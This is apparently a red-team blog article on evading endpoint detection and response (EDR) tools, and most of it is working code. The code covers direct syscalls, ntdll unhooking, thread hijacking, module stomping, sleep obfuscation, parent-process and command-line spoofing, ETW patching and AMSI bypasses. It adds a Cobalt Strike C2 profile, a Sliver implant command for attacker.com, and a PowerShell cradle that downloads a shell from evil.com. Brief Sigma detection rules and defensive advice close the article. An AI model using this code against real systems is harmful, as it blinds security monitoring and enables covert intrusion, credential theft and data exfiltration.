EDR evasion and bypass techniques for red team operations

EDR Evasion Techniques in Modern Red Team Operations

EDR evasion techniques including API hooking bypass, AMSI evasion, ETW tampering, memory injection, and advanced code obfuscation strategies.

Introduction

Modern Endpoint Detection and Response (EDR) solutions represent one of the most significant challenges for red team operations and adversary simulation. EDRs employ multiple detection layers including userland hooking, kernel-level monitoring, behavioral analysis, and machine learning to identify malicious activity.

Understanding EDR architecture and evasion techniques is essential for realistic security assessments. While defenders deploy EDR as a critical security control, red teams must demonstrate the limitations of these solutions and help organizations understand their true security posture.

Ethical Use Only

The techniques described here are for authorized security assessments, red team engagements, and defensive research only. Unauthorized use against systems you don't own or have explicit permission to test is illegal and unethical.

EDR Detection Mechanisms

Userland Hooking

EDRs inject DLLs into processes to hook Windows API functions:

  • Inline hooking: Modifying function prologues to redirect execution
  • IAT hooking: Modifying Import Address Table entries
  • EAT hooking: Modifying Export Address Table entries

Common hooked APIs:

  • VirtualAlloc, VirtualProtect, VirtualAllocEx
  • CreateRemoteThread, QueueUserAPC
  • WriteProcessMemory, ReadProcessMemory
  • CreateProcess, CreateProcessWithTokenW
  • NtCreateThreadEx, NtAllocateVirtualMemory

Kernel-Mode Monitoring

  • Kernel callbacks: Object creation, process/thread creation, registry operations
  • Minifilter drivers: File system operations
  • Network filter drivers: Network traffic analysis
  • ETW (Event Tracing for Windows): System event monitoring

Behavioral Analysis

  • Suspicious API call patterns
  • Parent-child process relationships
  • Command-line argument anomalies
  • Memory allocation patterns
  • Code injection signatures

Impact

Successful EDR evasion enables:

  • Undetected post-exploitation: Maintaining access without triggering alerts
  • Credential harvesting: Extracting passwords and tokens stealthily
  • Lateral movement: Moving through networks without detection
  • Data exfiltration: Stealing sensitive information unnoticed
  • Persistence establishment: Installing backdoors that survive reboots

Understanding these techniques helps both red teams validate security controls and blue teams identify detection gaps.

Direct Syscall Techniques

Why Direct Syscalls?

EDRs hook userland APIs (ntdll.dll) but cannot hook system calls directly without kernel drivers. Direct syscalls bypass userland hooks entirely.

Manual Syscall Implementation

// Direct syscall example for NtAllocateVirtualMemory
#include <Windows.h>
#include <stdio.h>

// Syscall number for NtAllocateVirtualMemory (Windows 10 20H2)
#define SYS_NT_ALLOCATE_VIRTUAL_MEMORY 0x18

typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

// Assembly stub for direct syscall
__declspec(naked) NTSTATUS NtAllocateVirtualMemory_Syscall(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect)
{
    __asm {
        mov r10, rcx
        mov eax, SYS_NT_ALLOCATE_VIRTUAL_MEMORY
        syscall
        ret
    }
}

int main() {
    PVOID baseAddress = NULL;
    SIZE_T regionSize = 0x1000;

    // Direct syscall - bypasses userland hooks
    NTSTATUS status = NtAllocateVirtualMemory_Syscall(
        GetCurrentProcess(),
        &baseAddress,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (status == 0) {
        printf("Allocated memory at: %p\n", baseAddress);
    }

    return 0;
}

SysWhispers Framework

Automated syscall generation:

# Clone SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2.git
cd SysWhispers2

# Generate syscall stubs
python syswhispers.py -a x64 -o syscalls NtAllocateVirtualMemory NtWriteVirtualMemory NtProtectVirtualMemory

# Outputs: syscalls.h, syscalls.c, syscalls.asm
// Usage in your project
#include "syscalls.h"

int main() {
    PVOID baseAddress = NULL;
    SIZE_T regionSize = 0x1000;

    // Use generated syscall
    NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &baseAddress,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    return 0;
}

Hell's Gate / Halo's Gate

Dynamic syscall number resolution:

// Hell's Gate technique to find syscall number
DWORD FindSyscallNumber(LPCSTR functionName) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    BYTE* funcAddress = (BYTE*)GetProcAddress(ntdll, functionName);

    // Check for hook (jmp instruction: 0xE9)
    if (funcAddress[0] == 0xE9) {
        // Function is hooked, use Halo's Gate to find nearby syscall
        return FindNearbySyscall(funcAddress);
    }

    // Parse syscall number from function prologue
    // mov r10, rcx (4C 8B D1)
    // mov eax, XX   (B8 XX 00 00 00)
    if (funcAddress[0] == 0x4C && funcAddress[1] == 0x8B && funcAddress[2] == 0xD1) {
        if (funcAddress[3] == 0xB8) {
            return *(DWORD*)(funcAddress + 4);
        }
    }

    return 0;
}

API Unhooking

Manual Unhooking

#include <Windows.h>
#include <stdio.h>

BOOL UnhookNtdll() {
    // Get base address of hooked ntdll
    HMODULE hookedNtdll = GetModuleHandleA("ntdll.dll");

    // Map a fresh copy from disk
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
                                GENERIC_READ, FILE_SHARE_READ,
                                NULL, OPEN_EXISTING, 0, NULL);

    HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

    // Get .text section
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanNtdll;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)cleanNtdll + dosHeader->e_lfanew);

    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)(
            (BYTE*)ntHeaders + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))
        );

        if (strcmp((char*)section->Name, ".text") == 0) {
            // Remove memory protection
            DWORD oldProtect;
            VirtualProtect((BYTE*)hookedNtdll + section->VirtualAddress,
                          section->Misc.VirtualSize,
                          PAGE_EXECUTE_READWRITE, &oldProtect);

            // Copy clean .text section over hooked one
            memcpy((BYTE*)hookedNtdll + section->VirtualAddress,
                   (BYTE*)cleanNtdll + section->VirtualAddress,
                   section->Misc.VirtualSize);

            // Restore protection
            VirtualProtect((BYTE*)hookedNtdll + section->VirtualAddress,
                          section->Misc.VirtualSize,
                          oldProtect, &oldProtect);

            break;
        }
    }

    CloseHandle(hMapping);
    CloseHandle(hFile);

    return TRUE;
}

Perun's Fart (Suspend Threads, Unhook, Resume)

// Suspend all threads except current
BOOL SuspendAllThreads() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD currentThreadId = GetCurrentThreadId();

    if (Thread32First(snapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == GetCurrentProcessId() &&
                te.th32ThreadID != currentThreadId) {
                HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
                SuspendThread(hThread);
                CloseHandle(hThread);
            }
        } while (Thread32Next(snapshot, &te));
    }

    CloseHandle(snapshot);
    return TRUE;
}

// Full unhook routine
BOOL PerunsFart() {
    SuspendAllThreads();
    UnhookNtdll();
    ResumeAllThreads();
    return TRUE;
}

Process Injection Evasion

Thread Hijacking

// Enumerate threads in target process
DWORD GetTargetThreadId(DWORD pid) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };

    if (Thread32First(snapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                CloseHandle(snapshot);
                return te.th32ThreadID;
            }
        } while (Thread32Next(snapshot, &te));
    }

    CloseHandle(snapshot);
    return 0;
}

// Hijack thread for code execution
BOOL ThreadHijacking(DWORD pid, LPVOID shellcode, SIZE_T shellcodeSize) {
    // Open target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // Allocate memory in target
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write shellcode
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);

    // Get thread handle
    DWORD threadId = GetTargetThreadId(pid);
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);

    // Suspend thread
    SuspendThread(hThread);

    // Get thread context
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);

    // Modify RIP to point to shellcode
    ctx.Rip = (DWORD64)remoteBuffer;
    SetThreadContext(hThread, &ctx);

    // Resume thread
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

Module Stomping

// Load legitimate module, overwrite with payload
BOOL ModuleStomping(LPCWSTR modulePath, LPVOID payload, SIZE_T payloadSize) {
    // Load target DLL
    HMODULE hModule = LoadLibraryW(modulePath);

    // Get module info
    MODULEINFO mi;
    GetModuleInformation(GetCurrentProcess(), hModule, &mi, sizeof(mi));

    // Change protection
    DWORD oldProtect;
    VirtualProtect(mi.lpBaseOfDll, payloadSize, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Overwrite with payload
    memcpy(mi.lpBaseOfDll, payload, payloadSize);

    // Execute from module base
    ((void(*)())mi.lpBaseOfDll)();

    return TRUE;
}

Fiber Execution

// Execute payload via fibers (less suspicious than threads)
VOID WINAPI FiberProc(LPVOID lpParam) {
    // Shellcode execution
    ((void(*)())lpParam)();
}

BOOL FiberExecution(LPVOID shellcode) {
    // Convert thread to fiber
    LPVOID mainFiber = ConvertThreadToFiber(NULL);

    // Create fiber for shellcode
    LPVOID shellcodeFiber = CreateFiber(0, FiberProc, shellcode);

    // Switch to shellcode fiber
    SwitchToFiber(shellcodeFiber);

    // Cleanup
    DeleteFiber(shellcodeFiber);
    ConvertFiberToThread();

    return TRUE;
}

Memory-Based Evasion

Sleep Obfuscation (Ekko Technique)

// Encrypt stack and heap during sleep
BOOL Ekko(DWORD sleepTime) {
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;

    // Create suspended thread
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RtlCaptureContext,
                                  &ctx, CREATE_SUSPENDED, NULL);

    // Create event for synchronization
    HANDLE hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);

    // Create timer queue
    HANDLE hTimer = CreateTimerQueueTimer(&hTimer, NULL,
                                          (WAITORTIMERCALLBACK)SetEvent,
                                          hEvent, sleepTime, 0,
                                          WT_EXECUTEINTIMERTHREAD);

    // Encrypt current stack and heap
    EncryptMemoryRegions();

    // Wait for timer
    WaitForSingleObject(hEvent, INFINITE);

    // Decrypt memory
    DecryptMemoryRegions();

    // Cleanup
    DeleteTimerQueueTimer(NULL, hTimer, NULL);
    CloseHandle(hEvent);
    CloseHandle(hThread);

    return TRUE;
}

FOLIAGE (Stack Spoofing)

// Spoof call stack to hide malicious origin
BOOL FakeCallStack() {
    // Create fake return addresses
    PVOID fakeReturnAddrs[] = {
        GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileW"),
        GetProcAddress(GetModuleHandleA("kernelbase.dll"), "GetFileSize"),
        // Add more legitimate functions
    };

    // Modify stack to include fake return addresses
    // Implementation varies by architecture
    // ...

    return TRUE;
}

Behavioral Evasion

Parent Process ID Spoofing

#include <Windows.h>

BOOL SpawnWithSpoofedPPID(DWORD parentPid, LPCWSTR application) {
    // Initialize structures
    STARTUPINFOEXW si;
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    ZeroMemory(&si, sizeof(STARTUPINFOEXW));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    // Prepare attribute list
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(), 0, attributeSize
    );

    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    // Open parent process
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);

    // Set parent process attribute
    UpdateProcThreadAttribute(si.lpAttributeList, 0,
                             PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                             &hParent, sizeof(HANDLE), NULL, NULL);

    // Create process with spoofed parent
    si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
    CreateProcessW(application, NULL, NULL, NULL, FALSE,
                   EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
                   NULL, NULL, &si.StartupInfo, &pi);

    // Cleanup
    CloseHandle(hParent);
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);

    return TRUE;
}

Command-Line Argument Spoofing

// Create process with fake arguments, patch with real ones
BOOL SpawnWithFakeArgs() {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // Create with fake benign arguments
    CreateProcessA(NULL, "powershell.exe -NoProfile -NonInteractive",
                   NULL, NULL, FALSE, CREATE_SUSPENDED,
                   NULL, NULL, &si, &pi);

    // Find PEB
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
                             &pbi, sizeof(pbi), NULL);

    // Read RTL_USER_PROCESS_PARAMETERS
    PVOID params;
    ReadProcessMemory(pi.hProcess,
                     (BYTE*)pbi.PebBaseAddress + offsetof(PEB, ProcessParameters),
                     &params, sizeof(PVOID), NULL);

    // Overwrite CommandLine with real malicious command
    UNICODE_STRING newCmdLine;
    RtlInitUnicodeString(&newCmdLine, L"powershell.exe -Command \"IEX((new-object net.webclient).downloadstring('http://evil.com/shell'))\"");

    WriteProcessMemory(pi.hProcess, (BYTE*)params + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine),
                      &newCmdLine, sizeof(UNICODE_STRING), NULL);

    // Resume process
    ResumeThread(pi.hThread);

    return TRUE;
}

ETW Patching

// Disable Event Tracing for Windows
BOOL PatchETW() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    PVOID etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");

    // Patch with "ret" instruction (0xC3)
    BYTE patch[] = { 0xC3 };

    DWORD oldProtect;
    VirtualProtect(etwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(etwEventWrite, patch, sizeof(patch));
    VirtualProtect(etwEventWrite, sizeof(patch), oldProtect, &oldProtect);

    return TRUE;
}

AMSI Bypass

# PowerShell AMSI bypass techniques

# Method 1: Reflection
$a = [Ref].Assembly.GetTypes();
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") {
        $c = $b
    }
};
$d = $c.GetFields('NonPublic,Static');
ForEach($e in $d) {
    if ($e.Name -like "*Context") {
        $f = $e
    }
};
$g = $f.GetValue($null);
[IntPtr]$ptr = $g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

# Method 2: Memory patching in C#
using System;
using System.Runtime.InteropServices;

public class AmsiBypass {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void Bypass() {
        IntPtr hModule = LoadLibrary("amsi.dll");
        IntPtr dllFunctionAddress = GetProcAddress(hModule, "Amsi" + "Scan" + "Buffer");

        uint oldProtect;
        VirtualProtect(dllFunctionAddress, (UIntPtr)5, 0x40, out oldProtect);

        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
        Marshal.Copy(patch, 0, dllFunctionAddress, patch.Length);
    }
}

Tool-Specific Evasion

Cobalt Strike Malleable C2

# Malleable C2 profile for EDR evasion
set sleeptime "60000";
set jitter    "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/api/v1/updates";

    client {
        header "Accept" "application/json";
        header "Accept-Language" "en-US,en;q=0.9";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Server" "nginx/1.18.0";

        output {
            base64url;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/telemetry";

    client {
        header "Content-Type" "application/json";

        id {
            base64url;
            prepend "id=";
            header "Cookie";
        }

        output {
            base64url;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            base64url;
            print;
        }
    }
}

# Process injection configuration
process-inject {
    set allocator "NtMapViewOfSection";
    set min_alloc "16700";
    set startrwx  "false";
    set userwx    "false";

    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart";
        NtQueueApcThread;
        CreateRemoteThread;
    }
}

Sliver C2 OPSEC

# Generate Sliver implant with evasion
# Disable debug symbols
# Use custom obfuscation
# Enable SGN encoding

sliver > generate --mtls attacker.com --os windows --arch amd64 \
         --skip-symbols --evasion --format shellcode \
         --save /tmp/implant.bin

Detection Bypass Validation

Check for EDR Presence

# PowerShell EDR detection script
$edrProcesses = @(
    "MsMpEng",           # Windows Defender
    "SenseNdr",          # Windows Defender ATP
    "CylanceSvc",        # Cylance
    "CSFalconService",   # CrowdStrike
    "cb",                # Carbon Black
    "elastic-agent",     # Elastic EDR
    "SentinelAgent"      # SentinelOne
)

Get-Process | Where-Object { $edrProcesses -contains $_.ProcessName }
// C implementation
BOOL CheckForEDR() {
    const char* edrDlls[] = {
        "cylance_dlls",
        "crowdstrike_dlls",
        "carbon_black_dlls",
        "sentinel_one_dlls"
    };

    for (int i = 0; i < sizeof(edrDlls)/sizeof(edrDlls[0]); i++) {
        if (GetModuleHandleA(edrDlls[i])) {
            return TRUE;  // EDR detected
        }
    }

    return FALSE;
}

Test Evasion Effectiveness

# Use red team simulation frameworks
# Atomic Red Team
git clone https://github.com/redcanaryco/atomic-red-team.git
cd atomic-red-team
Invoke-AtomicTest T1055  # Process Injection

# Check if EDR detected

Defense and Detection

Monitoring for Evasion Techniques

# Sigma rule for direct syscalls
title: Direct Syscall Detection via Module Load
status: experimental
detection:
  selection:
    EventID: 7  # Module loaded
    ImageLoaded|endswith:
      - '\syscall_stub.dll'
      - '\dinvoke.dll'
  condition: selection

---
# Sigma rule for NTDLL unhooking
title: NTDLL Unhooking Detected
detection:
  selection:
    EventID: 8  # Create remote thread
    TargetImage|endswith: '\ntdll.dll'
  condition: selection

Kernel-Level Monitoring

  • Use kernel callbacks that can't be bypassed from userland
  • Deploy hypervisor-based security (HyperGuard, HVCI)
  • Enable memory integrity features (Windows 10/11)
  • Implement driver signature enforcement

Behavioral Analytics

  • Detect anomalous parent-child process relationships
  • Monitor for unusual memory allocation patterns
  • Track suspicious API call sequences
  • Alert on uncommon DLL loads

References

Next Steps

For red team operations:

  • Test evasion techniques in controlled lab environments before deployments
  • Combine multiple techniques for defense-in-depth evasion
  • Stay updated on latest EDR detection mechanisms and bypasses
  • Document effectiveness of techniques against specific EDR solutions
  • Review related offensive security topics:
    • BYOVD Attacks
    • Process injection techniques
    • Credential harvesting methods

For blue team defense:

  • Deploy kernel-level protections that can't be bypassed from userland
  • Implement behavioral detection rather than signature-based only
  • Enable advanced features: HVCI, memory integrity, driver signature enforcement
  • Monitor for evasion indicators: syscalls, unhooking attempts, suspicious memory patterns
  • Conduct purple team exercises to validate detection capabilities

Takeaway: EDR evasion is an arms race between attackers and defenders. Understanding these techniques helps red teams conduct realistic assessments while enabling blue teams to identify detection gaps and implement more robust controls. Make EDR testing and validation a continuous process in your security program.

Last updated on

EDR Evasion Techniques in Modern Red Team Operations | Drake Axelrod